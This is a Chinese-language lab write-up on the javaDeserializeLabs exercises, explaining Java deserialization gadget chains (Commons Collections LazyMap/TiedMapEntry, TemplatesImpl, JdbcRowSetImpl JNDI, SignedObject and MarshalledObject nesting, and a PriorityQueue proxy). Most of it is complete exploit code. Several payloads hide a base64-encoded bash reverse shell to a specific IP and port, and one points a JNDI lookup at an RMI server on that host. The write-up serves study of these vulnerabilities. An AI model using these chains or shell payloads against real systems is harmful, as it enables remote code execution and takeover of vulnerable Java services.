JavaDeserializeLab学习(jdk1.8.0_301)
不知道为啥用他自己的MyObjectInputStream
疯狂报错,抱着学习的态度就分析一下链子算了(主要是不会修复XD)
JRMP
反序列化打不了,jdk版本过高,有些lab写不出来XD,开摆!
https://github.com/waderwu/javaDeserializeLabs
参考wp:http://novic4.cn/index.php/archives/26.html#cl-8
lab1
入门,跳过
lab2
虽然说可以用yso,jdk1.7打,但是还是本地学一下1.8的
正常思路来研究,先根据HashMap
的readObject
来触发,即hashcode()
。找一下有没有hashcode
方法的而且可以序列化的类:
找到TiedMapEntry
:
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
||
\/
public Object getValue() {
return map.get(key);
}
下一步,找一个实现了map
和序列化的类,并且有get
方法。
找到LazyMap
:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
然后就是老熟人transform
。然后这个factory
刚好是Transformer
类。
老朋友InvokerTransformer
可以执行任意函数:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
然后经典TemplatesImpl
就行,调用newTransformer
方法即可。(讲道理这个newTransformer
的利用底层还不是很懂,只知道它能帮你defineClass
,把字节码里的static
方法进行执行)。注意这个input
,和上面的key
一样。debug的时候就知道怎么回事了。最终exp:
package com.yxxx.javasec.deserialize;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_name", "asd");
setField(ti, "_bytecodes", new byte[][]{bytes});
setField(ti, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
HashMap hm = new HashMap();
Map lm = LazyMap.decorate(hm, it);
TiedMapEntry tme = new TiedMapEntry(lm, ti);
HashMap exp = makeMap(tme, "value");
ByteArrayOutputStream bas = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bas);
oos.writeObject(exp);
ByteArrayInputStream bis = new ByteArrayInputStream(bas.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
lab1
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setField(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setField(s, "table", tbl);
return s;
}
}
这里没有网络传输,只是本地打一下而已。
总结利用链:
HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->TemplatesImpl.newTransformer()
lab3
重写了ObjectInputStream
,网上说是不能解析数组,然而前面的我们都需要数组,像TemplatesImpl
里面的_bytecodes
也有数组,更不用说cc1的调用了。所以只能打JNDI
。然后网上的解法是JRMP
,md居然看不懂,本地调了半天,也不知道怎么触发的远程请求。然后抄着wp也不行(本意是找新利用链)。然后我觉得是jdk8的原因,然后重新找了一条链。利用链和上面一样,最后改了TemplatesImpl
而已,改为JdbcRowSetImpl
。用InvokerTransformer
调用它的getParameterMetadata
函数
public ParameterMetaData getParameterMetaData() throws SQLException {
this.prepare();
return this.ps.getParameterMetaData();
}
||
\/
protected PreparedStatement prepare() throws SQLException {
this.conn = this.connect();
...
}
||
\/
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
...
}
lookup
触发高版本的JNDI注入。exp:
package com.yxxx.javasec.deserialize;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jrsi = new JdbcRowSetImpl();
jrsi.setDataSourceName("rmi://47.96.173.116:8888/Object");
InvokerTransformer it = new InvokerTransformer("getParameterMetaData", null, null);
HashMap hm = new HashMap();
Map lm = LazyMap.decorate(hm, it);-
TiedMapEntry tme = new TiedMapEntry(lm, jrsi);
HashMap exp = makeMap(tme, "value");
ByteArrayOutputStream bas = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bas);
oos.writeObject(exp);
ByteArrayInputStream bis = new ByteArrayInputStream(bas.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}
寄!MyObjectInputStream
好像触发不了,不知道为啥!反正也是没用到数组,用ObjectInputStream
代替一下
总结利用链:
HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->JdbcRowSet.getParameterMetaData()
lab4
不出网利用。由于不能用数组,所以得想别的办法。新操作:直接二次反序列化!!狠。和之前的虎符杯一样(具体分析可以看虎符杯和mrctf),不过这次不是搞ROME
链。解法差不多修改一下上面的用上面的一半即触发到InvokerTransformer
再调用SignedObject
触发二次反序列化,直接套娃。二次反序列化里面塞上面的cc链即可,exp:
package com.yxxx.javasec.deserialize;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"id\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_name", "asd");
setField(ti, "_bytecodes", new byte[][]{bytes});
setField(ti, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
HashMap hm = new HashMap();
Map lm = LazyMap.decorate(hm, it);
TiedMapEntry tme = new TiedMapEntry(lm, ti);
HashMap exp = makeMap(tme, "value");
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(exp, privateKey, signature);
InvokerTransformer outIt = new InvokerTransformer("getObject", null, null);
HashMap outHm = new HashMap();
Map outLm = LazyMap.decorate(outHm, outIt);
TiedMapEntry outTme = new TiedMapEntry(outLm, signedObject);
HashMap outExp = makeMap(outTme, "value");
ByteArrayOutputStream bas = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bas);
oos.writeObject(outExp);
System.out.println(new String(Base64.getEncoder().encode(bas.toByteArray())));
ByteArrayInputStream bis = new ByteArrayInputStream(bas.toByteArray());
ObjectInputStream ois = new MyObjectInputStream(bis);
ois.readObject();
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setField(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setField(s, "table", tbl);
return s;
}
}
同样,MyObjectInputStream
直接报错,直接鸵鸟算法,不管他。总结一下利用链:
HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->SignedObject.getObject()->HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->TemplatesImpl.newTransformer()
注意不出网,把字节码改成内存马之类的就行。
lab5
这次的MyObjectInputStream
终于没报错了!!可喜可贺(估计前面的代码有问题,欢迎指出)。这回还多了个类MarshalledObject
,然后MyObjectInputStream
里面还有黑名单。MarshalledObject
里面的readResolve
可以进行反序列化。盲猜就是用这个类进行绕过,毕竟这个类还能序列化。看看怎么触发。这就需要底层的ObjectInputStream
来进行触发,我们直接从这个类的readObject
进行分析。
public final Object readObject()
throws IOException, ClassNotFoundException {
return readObject(Object.class);
}
||
\/
private final Object readObject(Class<?> type)
throws IOException, ClassNotFoundException
{
if (enableOverride) {//debug发现这个为false
return readObjectOverride();
}
if (! (type == Object.class || type == String.class))
throw new AssertionError("internal error");
// if nested read, passHandle contains handle of enclosing object
int outerHandle = passHandle;
try {
Object obj = readObject0(type, false);
...
}
||
\/
private Object readObject0(Class<?> type, boolean unshared) throws IOException {
...
case TC_OBJECT://由于传进去的是对象,所以到做个case
if (type == String.class) {
throw new ClassCastException("Cannot cast an object to java.lang.String");
}
return checkResolve(readOrdinaryObject(unshared));
...
}
||
\/
private Object readOrdinaryObject(boolean unshared)
throws IOException
{
//好复杂,不是很懂,不管那么多,看看能不能到invokeReadResolve函数
if (bin.readByte() != TC_OBJECT) {//bin这里没进去
throw new InternalError();
}
Class<?> cl = desc.forClass();
if (cl == String.class || cl == Class.class
|| cl == ObjectStreamClass.class) {
throw new InvalidClassException("invalid class descriptor");
}
//cl是MarshalledObject,这个也没报错
Object obj;
try {
obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
throw (IOException) new InvalidClassException(
desc.forClass().getName(),
"unable to create instance").initCause(ex);
}//MarshalledObject可以创建实例
...
if (obj != null &&
handles.lookupException(passHandle) == null &&
desc.hasReadResolveMethod())//这里的handles不是很懂,其他都是true
{
Object rep = desc.invokeReadResolve(obj);
...
}
||
\/
Object invokeReadResolve(Object obj)
throws IOException, UnsupportedOperationException
{
requireInitialized();
if (readResolveMethod != null) {
try {
return readResolveMethod.invoke(obj, (Object[]) null);//这里直接就到MarshalledObject的readResolve函数了
...
}
然后就是经典套娃,把cc链的序列化代码塞进去。exp:
package com.yxxx.javasec.deserialize;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_name", "asd");
setField(ti, "_bytecodes", new byte[][]{bytes});
setField(ti, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
HashMap hm = new HashMap();
Map lm = LazyMap.decorate(hm, it);
TiedMapEntry tme = new TiedMapEntry(lm, ti);
HashMap exp = makeMap(tme, "value");
MarshalledObject mo = new MarshalledObject();
ByteArrayOutputStream bas = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bas);
oos.writeObject(exp);
setField(mo, "bytes", bas.toByteArray());
ByteArrayOutputStream outBas = new ByteArrayOutputStream();
ObjectOutputStream outOos = new ObjectOutputStream(outBas);
outOos.writeObject(mo);
ByteArrayInputStream bis = new ByteArrayInputStream(outBas.toByteArray());
MyObjectInputStream ois = new MyObjectInputStream(bis);
ois.readObject();
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setField(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setField(s, "table", tbl);
return s;
}
}
最终利用链:
ObjectInputStream.readObject()->MarshalledObject.readResolve()->HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->TemplatesImpl.newTransformer()
lab6-8 JRMP反序列化
打不了,所以直接开摆,暂时除了JRMP
还没想到别的利用姿势。。。
所以不谈了,先知写的肯定比我好:https://xz.aliyun.com/t/7932#toc-10
lab9(此行目标)
没想到dasctf的原题和这里一样,研究了好久,由于对代理的不熟悉,一直想不出来,现在终于把它解决了。JDK7的原生反序列化改版。JDK8把那个handler(忘记啥名了)ban了,所以不能原生反序列化,但是这里自己实现了一个MyInvocationHandler
,比JDK7的还好利用。之前一直没成是卡在用HashMap
就会调用hashCode
无参函数,invoke那里直接报错。转入正题。
这里只要调用invoke
,然后设置type
为TemplatesImpl
就可以触发了。然后根据jdk7知道,当反序列化遇到代理时,且代理实例化为接口,会调用handler
的invoke
方法。然后还不能在无参函数时触发。可以想到compare
方法,这个在PriorityQueue
类触发。所以在PriorityQueue
里面塞个代理,就可以触发invoke
了。PriorityQueue:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
||
\/
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
||
\/
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
||
\/
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)//这里触发invoke
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
最终exp:
package com.yxxx.javasec.deserialize;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
public class Exp {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_name", "asd");
setField(ti, "_bytecodes", new byte[][]{bytes});
setField(ti, "_tfactory", new TransformerFactoryImpl());
PriorityQueue priorityQueue = new PriorityQueue(1);
priorityQueue.add(2);
priorityQueue.add(3);//要加两个东西进去才能成功
setField(priorityQueue, "queue", new Object[]{ti, 1});
InvocationHandler mih = new MyInvocationHandler();
setField(mih, "type", Templates.class);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Exp.class.getClassLoader(), new Class[]{Comparator.class}, mih);
setField(priorityQueue, "comparator", comparator);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
利用链:
PriorityQueue.readObject()->MyInvocationHandler.invoke()->TemplatesImpl.newTransformer()